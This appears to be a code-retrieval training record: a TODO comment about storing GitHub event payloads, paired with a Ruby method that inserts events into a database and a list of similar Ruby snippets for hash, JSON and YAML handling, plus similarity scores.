"def should_be_hash(data)\n if data.class != Hash\n raise \"Data needs to be a hash, you passed in a #{data.class}: #{data}\"\n end\n end",
"def bare_yaml\n return \"\" unless present?\n yaml = to_yaml\n\n # Detect single-line libyaml 0.2.1 scalar and remove trailing newline\n return yaml.sub(/\\A--- ([^\\n]+)\\n\\Z/m, '\\1') if yaml.single_line_ending_in_newline?\n\n yaml.sub(/\\A---[ \\n]/, \"\") # Handle header for multi-line yaml snippets\n .sub(/(\\n\\.\\.\\.\\n)?\\Z/m, \"\") # Handle libyaml 0.1.7 end of stream marker\n end",
"def ensure_hash(params)\n case params\n when String then params.present? ? ensure_hash(JSON.parse(params)) : {}\n when Hash, ActionController::Parameters then params\n when nil then {}\n else raise ArgumentError, \"Unexpected parameter: #{params}\"\n end\n end",
"def ensure_hash(ambiguous_param)\n return {} if ambiguous_param.blank?\n\n case ambiguous_param\n when String\n ensure_hash(JSON.parse(ambiguous_param))\n when Hash, ActionController::Parameters\n ambiguous_param\n else\n raise ArgumentError, \"Unexpected parameter: #{ambiguous_param}\"\n end\n end",
"def test_json_deserialize_short_tag\n new_entry = EntryCrypto::PasswordEntry.new\n new_user = EntryCrypto::User.new \"master_user\", 1234, \"Some secret here\"\n\n new_user.lock(\"fake_pass\")\n new_user.unlock(\"fake_pass\")\n\n result = new_entry.from_json '{\"json_class\":\"PasswordEntry\",\"iv\":\"d4d2c2617dd3cb9c716571f9\",\"user_name\":\"test_user\",\"site_name\":\"www.google.ca\",\"encrypted_password\":\"201894205d3f112fefa1e7f7\",\"auth_tag\":\"a7a81df2c3528a5a345230b0392793\"}'\n\n assert result == false\n assert new_entry.user_name.nil?\n assert new_entry.site_name.nil?\n assert new_entry.encrypted_password.nil?\n assert new_entry.iv.nil?\n assert new_entry.auth_tag.nil?\n end",
"def validate_token_hash; end",
"def clean_yaml(yaml_input)\n yaml_output = yaml_input\n\n # Had some issues with different versions of ruby giving different results\n yaml_output.gsub!(%r(!ruby/sym(bol)? ), ':')\n\n # Also, some versions appear to dump out trailing whitespace\n yaml_output.gsub!(/\\s+$/, '')\n\n return yaml_output\n end",
"def valid_hash?(digest)\n Argon2::HashFormat.valid_hash?(digest)\n end",
"def test_parse_hash_valid\n assert_equal 100000, parse_hash(\"186A0\")\n end",
"def parse_and_test(yaml)\n safe_result = parse(yaml)\n\n exception_thrown = nil\n\n unsafe_result = begin\n YAML.unsafe_load(yaml)\n rescue Exception => e\n exception_thrown = e\n end\n\n if exception_thrown\n # If the underlying YAML parser (e.g. Psych) threw an exception, I'm\n # honestly not sure what the right thing to do is. For now I'll just\n # print a warning. Should SafeYAML fail when Psych fails?\n Kernel.warn \"\\n\"\n Kernel.warn \"Discrepancy between SafeYAML and #{SafeYAML::YAML_ENGINE} on input:\\n\"\n Kernel.warn \"#{yaml.unindent}\\n\"\n Kernel.warn \"SafeYAML result:\"\n Kernel.warn \"#{safe_result.inspect}\\n\"\n Kernel.warn \"#{SafeYAML::YAML_ENGINE} result:\"\n Kernel.warn \"#{exception_thrown.inspect}\\n\"\n\n else\n expect(safe_result).to eq(unsafe_result)\n end\n end",
"def load_hash(hash = nil)\n\tdefault = \"yaml_output.yaml\"\n\tprint \"filename: \"\n\n\tfilename = STDIN.gets.chomp\n\tfilename = filename.downcase == \"def\" ? default : filename\n\tfiletype = filename.split(\".\").last\n\t\n\tfile = File.open(filename, \"rb+\") if exists = File.exist?(filename)\n\n\tif !exists\n\t\tputs \"File #{filename} does not exist\"\n\t\texit(0)\n#\telsif (file_string = file.readlines).length == 0\n#\t\tputs \"File #{filename} is empty\"\n#\t\texit(0)\n\tend\n\n\tbenchmark = Benchmark.measure {puts \"LOADING YAML\"; hash = Marshal::load(file) } if filetype == \"yaml\"\n\tbenchmark = Benchmark.measure {puts \"LOADING JSON\"; hash = JSON.parse(file_string) } if filetype == \"json\"\n\tif hash == nil\n\t\tputs \"invalid filename\" \n\t\texit(0)\n\tend\n\t\n\tputs \"LOAD TIME: #{benchmark}\"\n\tputs \"DONE\\n\"\n\tfile.close\n\treturn hash\nend",
"def ensure_hash(ambiguous_param)\n case ambiguous_param\n when String\n if ambiguous_param.present?\n ensure_hash(JSON.parse(ambiguous_param))\n else\n {}\n end\n when Hash, ActionController::Parameters\n ambiguous_param\n when nil\n {}\n else\n raise ArgumentError, \"Unexpected parameter: #{ambiguous_param}\"\n end\n end",
"def ensure_hash(ambiguous_param)\n case ambiguous_param\n when String\n if ambiguous_param.present?\n ensure_hash(JSON.parse(ambiguous_param))\n else\n {}\n end\n when Hash, ActionController::Parameters\n ambiguous_param\n when nil\n {}\n else\n raise ArgumentError, \"Unexpected parameter: #{ambiguous_param}\"\n end\n end",
"def ensure_hash(ambiguous_param)\n case ambiguous_param\n when String\n if ambiguous_param.present?\n ensure_hash(JSON.parse(ambiguous_param))\n else\n {}\n end\n when Hash, ActionController::Parameters\n ambiguous_param\n when nil\n {}\n else\n raise ArgumentError, \"Unexpected parameter: #{ambiguous_param}\"\n end\n end",
"def ensure_hash(ambiguous_param)\n case ambiguous_param\n when String\n if ambiguous_param.present?\n ensure_hash(JSON.parse(ambiguous_param))\n else\n {}\n end\n when Hash, ActionController::Parameters\n ambiguous_param\n when nil\n {}\n else\n raise ArgumentError, \"Unexpected parameter: #{ambiguous_param}\"\n end\n end",
"def ensure_hash(ambiguous_param)\n case ambiguous_param\n when String\n if ambiguous_param.present?\n ensure_hash(JSON.parse(ambiguous_param))\n else\n {}\n end\n when Hash, ActionController::Parameters\n ambiguous_param\n when nil\n {}\n else\n raise ArgumentError, \"Unexpected parameter: #{ambiguous_param}\"\n end\n end",
"def ensure_hash(ambiguous_param)\n case ambiguous_param\n when String\n if ambiguous_param.present?\n ensure_hash(JSON.parse(ambiguous_param))\n else\n {}\n end\n when Hash, ActionController::Parameters\n ambiguous_param\n when nil\n {}\n else\n raise ArgumentError, \"Unexpected parameter: #{ambiguous_param}\"\n end\n end",
"def ensure_hash(ambiguous_param)\n case ambiguous_param\n when String\n if ambiguous_param.present?\n ensure_hash(JSON.parse(ambiguous_param))\n else\n {}\n end\n when Hash, ActionController::Parameters\n ambiguous_param\n when nil\n {}\n else\n raise ArgumentError, \"Unexpected parameter: #{ambiguous_param}\"\n end\n end",
"def ensure_hash(ambiguous_param)\n case ambiguous_param\n when String\n if ambiguous_param.present?\n ensure_hash(JSON.parse(ambiguous_param))\n else\n {}\n end\n when Hash, ActionController::Parameters\n ambiguous_param\n when nil\n {}\n else\n raise ArgumentError, \"Unexpected parameter: #{ambiguous_param}\"\n end\n end",
"def ensure_hash(ambiguous_param)\n case ambiguous_param\n when String\n if ambiguous_param.present?\n ensure_hash(JSON.parse(ambiguous_param))\n else\n {}\n end\n when Hash, ActionController::Parameters\n ambiguous_param\n when nil\n {}\n else\n raise ArgumentError, \"Unexpected parameter: #{ambiguous_param}\"\n end\n end",
"def ensure_hash(ambiguous_param)\n case ambiguous_param\n when String\n if ambiguous_param.present?\n ensure_hash(JSON.parse(ambiguous_param))\n else\n {}\n end\n when Hash, ActionController::Parameters\n ambiguous_param\n when nil\n {}\n else\n raise ArgumentError, \"Unexpected parameter: #{ambiguous_param}\"\n end\n end",
"def ensure_hash(ambiguous_param)\n case ambiguous_param\n when String\n if ambiguous_param.present?\n ensure_hash(JSON.parse(ambiguous_param))\n else\n {}\n end\n when Hash, ActionController::Parameters\n ambiguous_param\n when nil\n {}\n else\n raise ArgumentError, \"Unexpected parameter: #{ambiguous_param}\"\n end\n end",
"def ensure_hash(ambiguous_param)\n case ambiguous_param\n when String\n if ambiguous_param.present?\n ensure_hash(JSON.parse(ambiguous_param))\n else\n {}\n end\n when Hash, ActionController::Parameters\n ambiguous_param\n when nil\n {}\n else\n raise ArgumentError, \"Unexpected parameter: #{ambiguous_param}\"\n end\n end",
"def ensure_hash(ambiguous_param)\n case ambiguous_param\n when String\n if ambiguous_param.present?\n ensure_hash(JSON.parse(ambiguous_param))\n else\n {}\n end\n when Hash, ActionController::Parameters\n ambiguous_param\n when nil\n {}\n else\n raise ArgumentError, \"Unexpected parameter: #{ambiguous_param}\"\n end\n end",
"def ensure_hash(ambiguous_param)\n case ambiguous_param\n when String\n ambiguous_param.present? ? ensure_hash(JSON.parse(ambiguous_param)) : {}\n when Hash, ActionController::Parameters\n ambiguous_param\n when nil\n {}\n else\n raise ArgumentError, \"Unexpected parameter: #{ambiguous_param}\"\n end\n end",
"def ensure_hash(ambiguous_param)\n case ambiguous_param\n when String\n ambiguous_param.present? ? ensure_hash(JSON.parse(ambiguous_param)) : {}\n when Hash, ActionController::Parameters\n ambiguous_param\n when nil\n {}\n else\n raise ArgumentError, \"Unexpected parameter: #{ambiguous_param}\"\n end\n end",
"def test_parse_hash_invalid\n assert_raises(ArgumentError) { parse_hash(\"not_hex\") }\n end",
"def test_json_deserialize_bad_tag\n new_entry = EntryCrypto::PasswordEntry.new\n new_user = EntryCrypto::User.new \"master_user\", 1234, \"Some secret here\"\n\n new_user.lock(\"fake_pass\")\n new_user.unlock(\"fake_pass\")\n\n result = new_entry.from_json '{\"json_class\":\"PasswordEntry\",\"iv\":\"f28ac40a30d46674a34c8b9c\",\"user_name\":\"test_user\",\"site_name\":\"www.google.ca\",\"encrypted_password\":\"e536c732d1d1785c157e079d\",\"auth_tag\":\"1a117b90b082a633285e569b2f0f7606\",\"salt\":\"bafb2053f8eba9a34a1019a47096424da985620fa169d9d7bef1e1adb788b51bbb356fa171ec8bba62b3acb1baa414773706124619bf8c8ac414594a1e440f56\"}'\n\n assert result == true\n assert new_entry.site_name == \"www.google.ca\"\n assert new_entry.user_name == \"test_user\"\n\n decrypted_password = new_entry.unlock_password(new_user)\n\n assert decrypted_password != \"password1234\"\n end",
"def ensure_hash(ambiguous_param)\n case ambiguous_param\n when String\n if ambiguous_param.present?\n ensure_hash(JSON.parse(ambiguous_param))\n else\n {}\n end\n when Hash, ActionController::Parameters\n ambiguous_param\n when nil\n {}\n else\n raise ArgumentError, \"Unexpected parameter: #{ambiguous_param}\"\n end\n end",
"def to_sha(hash)\n # converts a hash to a SHA256\n return Digest::SHA256.hexdigest(JSON.dump(hash))\nend",
"def ensure_hash(ambiguous_param)\n case ambiguous_param\n when String\n if ambiguous_param.present?\n ensure_hash(JSON.parse(ambiguous_param))\n else\n {}\n end\n when Hash, ActionController::Parameters\n ambiguous_param\n when nil\n {}\n else\n raise ArgumentError, \"Unexpected parameter: #{ambiguous_param}\"\n end\n end",
"def ensure_hash(ambiguous_param)\n case ambiguous_param\n when String\n if ambiguous_param.present?\n ensure_hash(JSON.parse(ambiguous_param))\n else\n {}\n end\n when Hash, ActionController::Parameters\n ambiguous_param\n when nil\n {}\n else\n raise ArgumentError, \"Unexpected parameter: #{ambiguous_param}\"\n end\n end",
"def ensure_hash(ambiguous_param)\n case ambiguous_param\n when String\n if ambiguous_param.present?\n ensure_hash(JSON.parse(ambiguous_param))\n else\n {}\n end\n when Hash, ActionController::Parameters\n ambiguous_param\n when nil\n {}\n else\n raise ArgumentError, \"Unexpected parameter: #{ambiguous_param}\"\n end\n end",
"def ensure_hash(ambiguous_param)\n case ambiguous_param\n when String\n if ambiguous_param.present?\n ensure_hash(JSON.parse(ambiguous_param))\n else\n {}\n end\n when Hash\n ambiguous_param\n when ActionController::Parameters\n ambiguous_param.to_unsafe_hash\n when nil\n {}\n else\n raise ArgumentError, \"Unexpected parameter: #{ambiguous_param}\"\n end\n end",
"def ensure_hash(ambiguous_param)\n\tcase ambiguous_param\n\twhen String\n\t\tif ambiguous_param.present?\n\t\t\tensure_hash(JSON.parse(ambiguous_param))\n\t\telse\n\t\t\t{}\n\t\tend\n\twhen Hash, ActionController::Parameters\n\t\tambiguous_param\n\twhen nil\n\t\t{}\n\telse\n\t\traise ArgumentError, \"Unexpected parameter: #{ambiguous_param}\"\n\tend\nend",
"def validate_stats(s)\n expect(s).to have_key(\"season\")\n expect(s).to have_key(\"stat\")\n expect(s[\"stat\"]).to be_a(Hash)\nend",
"def test_valid_string_dict_to_hash\n assert_kind_of Hash, @grapher.dict_to_hash(Set.new())\n end",
"def ensure_hash(ambiguous_param)\n case ambiguous_param\n when String\n ambiguous_param.present? ? ensure_hash(JSON.parse(ambiguous_param)) : {}\n when Hash, ActionController::Parameters\n ambiguous_param\n when nil\n {}\n else\n raise ArgumentError, \"Unexpected parameter: #{ambiguous_param}\"\n end\n end",
"def valid_hash?(h)\n h.match(/^[0-9a-z]+\\$[0-9a-z]+\\$[0-9a-z]+\\$[A-Za-z0-9]{16,64}\\$[A-Za-z0-9]{32,1024}$/) != nil\n end",
"def valid_hash?(h)\n h.match(/^[0-9a-z]+\\$[0-9a-z]+\\$[0-9a-z]+\\$[A-Za-z0-9]{16,64}\\$[A-Za-z0-9]{32,1024}$/) != nil\n end",
"def mm_verify(hash)\n\terror = \"\"\n\n\thash.each do |k,text|\n\t\ttext = CGI::escapeHTML(text)\n\n \tif text\n\n\t\t\tif text.include?(\"*-\")\n\t\t\t\telem = text.split(\"*-\")\n\t\t\t\telem.shift\n\t\t\t\telem.each do |bl|\n\t\t\t\t\tif !text.include?(\"-*\")\n\t\t\t\t\t\terror = \"Markdown error, missing -* close tag.\"\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tif text.include?(\"[==\")\n\t\t\t\telem = text.split(\"[==\")\n\t\t\t\telem.shift\n\t\t\t\telem.each do |bl|\n\t\t\t\t\tif !text.include?(\"==]\")\n\t\t\t\t\t\terror = \"Markdown error, missing ==] close tag.\"\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tif text.include?(\"[~~\")\n\t\t\t\telem = text.split(\"[~~\")\n\t\t\t\telem.shift\n\t\t\t\telem.each do |bl|\n\t\t\t\t\tif !text.include?(\"~~]\")\n\t\t\t\t\t\terror = \"Markdown error, missing ~~] close tag.\"\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tif text.include?(\"[[[\")\n\t\t\t\telem = text.split(\"[[[\")\n\t\t\t\telem.shift\n\t\t\t\telem.each do |bl|\n\t\t\t\t\tif !text.include?(\"]]]\")\n\t\t\t\t\t\terror = \"Markdown error, missing ]]] close tag.\"\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\treturn error\nend",
"def convert_json_to_yaml(json) #:nodoc:\n scanner, quoting, marks = StringScanner.new(json), false, []\n\n while scanner.scan_until(/(['\":,]|\\\\.)/)\n case char = scanner[1]\n when '\"', \"'\"\n quoting = quoting == char ? false : char\n when \":\", \",\"\n marks << scanner.pos - 1 unless quoting\n end\n end\n \n if marks.empty?\n json\n else\n ranges = ([0] + marks.map(&:succ)).zip(marks + [json.length])\n ranges.map { |(left, right)| json[left..right] }.join(\" \")\n end\n end",
"def validate_key!(key)\n unless key.is_a?(String) or key.is_a?(Symbol)\n raise SketchUpJSON::JSONEncodeError, \"This hash can not generate valid JSON\"\n end\n end",
"def hacer_json_valido(json)\n \n if (json.chars.first =='{' && json.chars.last=='}')\n json.insert(0,\"[\")\n json.append(\"]\")\n end\n \n return json\n\n end",
"def sanitize_hash(hash)\n Hash[hash.collect { |k, v| [k.to_s, v.is_a?(Hash) ? sanitize_hash(v) : v] }]\n end",
"def read_yaml(throw_missing: T.unsafe(nil), **kwd); end",
"def validate(hash, errors)\n end",
"def validate(hash)\n @is_sandbox = hash[:sandbox] || hash['sandbox'] || false\n raise ArgumentError, \"Sandbox must be type of boolean\" unless @is_sandbox == false || @is_sandbox == true\n @auth_token = hash[:auth_token] || hash['auth_token'] || \"\"\n raise ArgumentError, \"Must specify from auth token\" if @auth_token.empty?\n @notebook_name = to_utf8(hash[:notebook] || hash['notebook'] || \"\")\n raise ArgumentError, \"Must specify from notebook\" if @notebook_name.empty?\n @stack_name = to_utf8(hash[:stack] || hash['stack'])\n @tags = to_utf8(hash[:tags] || hash['tags'] || [])\n end",
"def test_json_deserialize_short_iv\n new_entry = EntryCrypto::PasswordEntry.new\n new_user = EntryCrypto::User.new \"master_user\", 1234, \"Some secret here\"\n\n new_user.lock(\"fake_pass\")\n new_user.unlock(\"fake_pass\")\n\n result = new_entry.from_json '{\"json_class\":\"PasswordEntry\",\"iv\":\"4d2c2617dd3cb9c716571f9\",\"user_name\":\"test_user\",\"site_name\":\"www.google.ca\",\"encrypted_password\":\"201894205d3f112fefa1e7f7\",\"auth_tag\":\"a7a81df2c35c28ca5a345230b0392793\"}'\n\n assert result == false\n assert new_entry.user_name.nil?\n assert new_entry.site_name.nil?\n assert new_entry.encrypted_password.nil?\n assert new_entry.iv.nil?\n assert new_entry.auth_tag.nil?\n\n end",
"def require_hash!\n @obj.is_a?(Hash) || handle_error(nil, :invalid_type, \"expected hash object in #{param_name(nil)} but received array object\")\n end",
"def test_load_from_yaml\n loaded = Syck.load(<<-eoyml)\n--- !set\nfoo: bar\nbar: baz\n eoyml\n assert_equal(@set, loaded)\n end",
"def fix_malformed_json(malformed_json)\n return malformed_json.gsub(/([a-z][a-zA-Z0-9_]+):(?!\\s)/, '\"\\1\":')\n end",
"def valid_hash?(h)\n h =~ /^\\$[0-9a-z]{2}\\$[0-9]{2}\\$[A-Za-z0-9\\.\\/]{53}$/\n end",
"def ensure_hash(variables_param)\n return {} if variables_param.blank?\n variables_param.kind_of?(Hash) ? variables_param : JSON.parse(variables_param)\n end",
"def ensure_hash(variables_param)\n return {} if variables_param.blank?\n variables_param.kind_of?(Hash) ? variables_param : JSON.parse(variables_param)\n end",
"def yamlize(value)\n unless(value.is_a?(String))\n if(value.is_a?(Hash) && value.respond_to?(:to_hash))\n value = value.to_hash\n end\n value.to_yaml(:header => true)\n else\n value\n end\n end",
"def verify_schema_hash\r\n expect(Schema.schema_hash_i).to be_instance_of(Hash)\r\n %w{person org}.each{|e| expect(Schema.schema_hash.keys).to include(e)}\r\n end",
"def hash_for_json(state = T.unsafe(nil)); end",
"def validate_json data\n JSON::Validator.fully_validate(\"schema.json\", data)\n end",
"def test_parse_response_body_returns_expected_format\n response_body_to_json = @data_parser.parse_response_body(@page)\n assert_equal Hash, response_body_to_json.class\n end",
"def convert_spec(yaml_spec)\n YAML.load(reduce_spec(yaml_spec)) or\n\traise \"Didn't get a valid YAML document\"\n end",
"def test_new\n assert_equal({\n \"drylands\"=>\"Drylands\",\n \"savannah\"=>\"Savanna\",\n }, FakeYaml.load(sample(\"terrain_stuff_l_english\")))\n end",
"def check_syntax_hash_key(key, schema, datum, depth, trace)\n check_syntax_trace(\"check_syntax_hash_#{key}\", schema, datum, depth, trace)\n ((!key.is_a?(String)) ?\n check_syntax_error(9, schema, datum, trace, key) :\n ((key =~ /^\\|ALT.*\\|/) ?\n ((datum.key?(schema[key].keys[0])) ?\n ((datum.key?(schema[key].keys[1])) ?\n check_syntax_error(15, schema, datum, trace) :\n (check_syntax_hash_key(schema[key].keys[0], schema[key], datum, depth, trace) ||\n check_syntax_error(14, schema, datum, trace, \"First\"))) :\n ((datum.key?(schema[key].keys[1])) ?\n (check_syntax_hash_key(schema[key].keys[1], schema[key], datum, depth, trace) ||\n check_syntax_error(14, schema, datum, trace, \"Second\")) :\n check_syntax_error(13, schema, datum, trace))) :\n ((key =~ /^\\|OPT.*\\|/) ?\n ( ! datum.key?(schema[key].keys[0]) ||\n (check_syntax_hash_key(schema[key].keys[0], schema[key], datum, depth, trace) ||\n check_syntax_error(12, schema, datum, trace))) :\n (datum.key?(key) ?\n (check_syntax_internal(schema[key], datum[key], depth, trace) ||\n check_syntax_error(11, schema, datum, trace, key)) :\n check_syntax_error(10, schema, datum, trace, key)))))\n end",
"def expect_hash name, value\n expect_type name,\n value,\n \"hash\",\n lambda{ value.is_a?(Hash)},\n lambda{ value.to_h.stringify_keys if value.respond_to?(:to_h) }\n end",
"def serialize \n Base64.encode64(@data.to_yaml) \n end",
"def yaml_file?; end",
"def yaml_post?\n post? && post_format == :yaml\n end",
"def valid_hash?(h)\n self.class.valid_hash?(h)\n end",
"def to_yaml() end",
"def load_hash(submission_json = @json_hash)\n @json_hash = submission_json\n @score = submission_json[\"score\"]\n @name = submission_json[\"name\"]\n @permalink = submission_json[\"permalink\"]\n @over_18 = submission_json[\"over_18\"]\n @is_self = submission_json[\"is_self\"]\n @ups = submission_json[\"ups\"]\n @num_comments = submission_json[\"num_comments\"]\n @title = submission_json[\"title\"]\n @author = submission_json[\"author\"]\n @thumbnail = submission_json[\"thumbnail\"] \n #@thumbnail_url = submission_json[\"thumbnail_url\"] if submission_json[\"thumbnail_url\"] # \n @created_utc = submission_json[\"created_utc\"]\n @url = submission_json[\"url\"]\n @domain = submission_json[\"domain\"]\n @self_id = submission_json[\"id\"]\n @selftext = submission_json[\"selftext\"]\n @media = submission_json[\"media\"] # TODO: what format is this?\n @clicked = submission_json[\"clicked\"]\n @subreddit_id = submission_json[\"subreddit_id\"]\n @selftext_html = submission_json[\"selftext_html\"]\n @levenshtein = submission_json[\"levenshtein\"] # TODO: what is this?\n @media_embed = submission_json[\"media_embed\"] # TODO: what is this? hash format\n @score = submission_json[\"score\"]\n @saved = submission_json[\"saved\"]\n @created = submission_json[\"created\"]\n @downs = submission_json[\"downs\"]\n @hidden = submission_json[\"hidden\"]\n @likes = submission_json[\"likes\"]\n @subreddit = submission_json[\"subreddit\"]\n end",
"def hash\n require 'yaml'\n hash = YAML.load(File.read(self.yaml_file)) #gets hash from yaml file\n return hash\n end",
"def from_hash(hash)\n super(hash)\n verify\n end",
"def test_yaml_loads_5_1_dump\n body = File.open(schema_dump_path).read\n cache = YAML.unsafe_load(body)\n\n assert_no_queries do\n assert_equal 11, cache.columns(\"posts\").size\n assert_equal 11, cache.columns_hash(\"posts\").size\n assert cache.data_sources(\"posts\")\n assert_equal \"id\", cache.primary_keys(\"posts\")\n end\n end",
"def parse_signed_payload\n signed_payload = params[:signed_payload]\n message_parts = signed_payload.split('.')\n\n encoded_json_payload = message_parts[0]\n encoded_hmac_signature = message_parts[1]\n\n payload = Base64.decode64(encoded_json_payload)\n provided_signature = Base64.decode64(encoded_hmac_signature)\n\n expected_signature = sign_payload(bc_client_secret, payload)\n\n if secure_compare(expected_signature, provided_signature)\n return JSON.parse(payload, symbolize_names: true)\n end\n\n nil\nend",
"def user_data_is_json_hash settings, debug=false\n user_data_hash = settings[:user_data]\n puts \"*****\\n\\n#{JSON.pretty_generate(user_data_hash)}\\n**********\\n\" if debug\n user_data user_data_hash.to_json\nend",
"def load_ast_hash!(hash)\n end",
"def sanitize_hash(hash)\n return {} if hash.nil? \n Hash.from_xml(hash.to_xml)['hash']\n end",
"def has_yaml?\n content.start_with?(\"---\\n\") && content =~ /---(.|\\n)*---/\n end",
"def looks_like_json? line\n !!(line =~ /^\\s*\\{/)\n end",
"def schema_is_valid_hash?(schema, trace)\n schema_valid_trace(\"schema_is_valid_hash?\", schema, trace)\n schema.each do |key, value|\n return false unless schema_is_valid_key_value?(key, value, trace)\n end\n true\n end",
"def check!(hash)\n build!(hash)\n return hash\n end",
"def is_hash?(data)\n data && data.is_a?(Hash)\n end"
] |
[
"0.65405375",
"0.610742",
"0.59913933",
"0.59499514",
"0.59301084",
"0.58896166",
"0.58498716",
"0.5837605",
"0.5833974",
"0.5833974",
"0.58185714",
"0.58177996",
"0.5806338",
"0.5771341",
"0.576988",
"0.57175803",
"0.5694498",
"0.56568587",
"0.5617414",
"0.56140465",
"0.56116676",
"0.56038266",
"0.5597608",
"0.559426",
"0.55729806",
"0.5535839",
"0.5534666",
"0.5531459",
"0.5507511",
"0.5490926",
"0.5487792",
"0.5487792",
"0.5487792",
"0.5487792",
"0.5487792",
"0.5487792",
"0.5487792",
"0.5487792",
"0.5487792",
"0.5487792",
"0.5487792",
"0.5487792",
"0.5487792",
"0.547856",
"0.547856",
"0.5474763",
"0.5473907",
"0.5460346",
"0.5451922",
"0.5449595",
"0.5449595",
"0.5449595",
"0.5405596",
"0.5403383",
"0.54005677",
"0.53902286",
"0.5385326",
"0.53847826",
"0.53847826",
"0.537092",
"0.5353019",
"0.5342445",
"0.53347754",
"0.53319347",
"0.53211194",
"0.5310943",
"0.53024155",
"0.5293745",
"0.52898675",
"0.5278889",
"0.5277911",
"0.5269236",
"0.52464116",
"0.52464116",
"0.5244304",
"0.5231705",
"0.5221876",
"0.52166253",
"0.52165926",
"0.5203147",
"0.52006507",
"0.51967883",
"0.51917017",
"0.5191065",
"0.5185853",
"0.5185818",
"0.5185434",
"0.51804006",
"0.51774096",
"0.51475656",
"0.51469177",
"0.514655",
"0.51224315",
"0.5114954",
"0.51110286",
"0.5110572",
"0.50941646",
"0.50877064",
"0.50763804",
"0.5072399",
"0.5062151"
] |
0.0
|
-1
|
TODO: Currently the event payload storage is BIG. And a little useless. I need to take each event type that is known about, and convert the GitHub object into an array of hash. If not known, it should store the whole object, while wincing.
|
def db_insert_events(db, events)
begin
db.transaction do
events.each do |event|
flatPayload=flatten_event_payload(event)
db[
"INSERT INTO events (
id, type, actor, org, repo, public, created_at, payload
)
VALUES ( ?, ?, ?, ?, ?, ?, ?, ?)",
event.id, event.type, event.actor.login, event.org.login, event.repo.name,
event.public.to_s, event.created_at.to_s, flatPayload].insert
#puts " Inserted: #{event.id}"
end
end
rescue => e
puts "Error during processing: #{$!}"
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def flatten_event_payload(event)\n case event.type\n when 'CreateEvent'\n return YAML::dump({ 'ref_type' => event.payload.ref_type, 'description' => event.payload.description })\n when 'DeleteEvent'\n return YAML::dump({ 'ref_type' => event.payload.ref_type })\n when 'DeploymentEvent'\n return YAML::dump({ 'name' => event.payload.name })\n when 'ForkEvent'\n return YAML::dump({ 'forkee' => event.payload.forkee['full_name'] })\n when 'GollumEvent'\n ## TODO: pages[][page_name]\n return YAML::dump({ 'action' => event.payload.action })\n when 'IssuesEvent'\n return YAML::dump({ 'action' => event.payload.action, 'issue' => event.payload.issue['url'] })\n when 'IssueCommentEvent'\n return YAML::dump({ 'action' => event.payload.action, 'issue' => event.payload.issue['url'] })\n when 'MemberEvent'\n return YAML::dump({ 'action' => event.payload.action, 'member' => event.payload.member['login'] })\n when 'MembershipEvent'\n return YAML::dump({ 'action' => event.payload.action, 'member' => event.payload.member['login'], 'team' => event.payload.team['name'], 'scope' => event.payload.scope })\n when 'PullRequestEvent'\n return YAML::dump({ 'action' => event.payload.action, 'pull_request' => event.payload.pull_request['url'] })\n when 'PullRequestReviewCommentEvent'\n return YAML::dump({ 'action' => event.payload.action, 'pull_request' => event.payload.pull_request['url'] })\n when 'PushEvent'\n return YAML::dump({ 'size' => event.payload.size })\n when 'ReleaseEvent'\n return YAML::dump({ 'action' => event.payload.action, 'release' => event.payload.release['url'] })\n when 'RepositoryEvent'\n return YAML::dump({ 'action' => event.payload.action, 'repository' => event.payload.repository['full_name'] })\n when 'StatusEvent'\n return YAML::dump({ 'state' => event.payload.state, 'sha' => event.payload.sha })\n when 'TeamAddEvent'\n return YAML::dump({ 'team' => event.payload.team['name'], 'repository' => event.payload.repository['full_name'] })\n when 'WatchEvent'\n return YAML::dump({ 'action' => event.payload.action })\n else\n # CommitCommentEvent\n # DeploymentStatusEvent\n # DownloadEvent - No longer exists\n # FollowEvent - No longer exists\n # ForkApplyEvent - No longer exists\n # GistEvent - No longer exists\n # PageBuildEvent\n # PublicEvent\n return ''\n end\n end",
"def process_events events\n @events = Hash.new\n\n # Organize the event based on type\n # http://developer.github.com/v3/activity/events/types/ lists event types.\n events.each do |event|\n @events[event.type] ||= Array.new\n @events[event.type] << event\n end\n @event_types = Hash.new\n @events.each do |key,value|\n @event_types[key.underscore.humanize.sub(' event', '')] = value.count\n end\n end",
"def parsed_event\n event = {\n 'payload' => Yajl::Encoder.encode(payload),\n 'public' => is_public\n }\n\n ['repo', 'actor', 'created_at', 'id', 'org', 'type'].each do |field|\n # Don't include the field in the return event if it's empty.\n value = self.send(field)\n next if value.nil? || value.empty?\n event[field] = value\n end\n\n # Worst. Code. Ever.\n event['other'] = Yajl::Encoder.encode(other) if !other.empty?\n\n return event\n end",
"def hash\n @events.hash\n end",
"def event_body(event)\n # TODO: Create an HTTP post data codec, use that here\n if @format == \"json\"\n documents = []\n document = event.to_hash()\n documents.push(document)\n LogStash::Json.dump(documents)\n elsif @format == \"message\"\n event.sprintf(@message)\n else\n encode(map_event(event))\n end\n end",
"def event_body(event)\n # TODO: Create an HTTP post data codec, use that here\n if @format == \"json\"\n LogStash::Json.dump(map_event(event))\n elsif @format == \"message\"\n event.sprintf(@message)\n elsif @format == \"json_batch\"\n LogStash::Json.dump(event.map {|e| map_event(e) })\n else\n encode(map_event(event))\n end\n end",
"def event_hash(e)\n timber_hash = {\"$schema\" => JSON_SCHEMA}\n event_hash = e.to_hash\n\n # Delete unused logstash specific attributes\n event_hash.delete(\"@version\")\n\n # Map the timber key first since we merge in values\n # later.\n timber = event_hash.delete(\"timber\")\n if timber.is_a?(Hash)\n timber_hash.merge!(timber)\n end\n\n # Map the timestamp\n timestamp = event_hash.delete(\"@timestamp\")\n\n if timestamp\n timber_hash[\"dt\"] ||= timestamp.utc.to_iso8601\n end\n\n # Map the host\n host = event_hash.delete(\"host\")\n\n if host\n timber_hash[\"context\"] ||= {}\n timber_hash[\"context\"][\"system\"] ||= {}\n timber_hash[\"context\"][\"system\"][\"hostname\"] ||= host\n end\n\n # Map the message\n message = event_hash.delete(\"message\")\n\n if message\n timber_hash[\"message\"] ||= message\n end\n\n # Move everything else to meta, merging to preseve previous meta values.\n if event_hash != {}\n timber_hash[\"meta\"] ||= {}\n timber_hash[\"meta\"].merge!(event_hash)\n end\n\n timber_hash\n end",
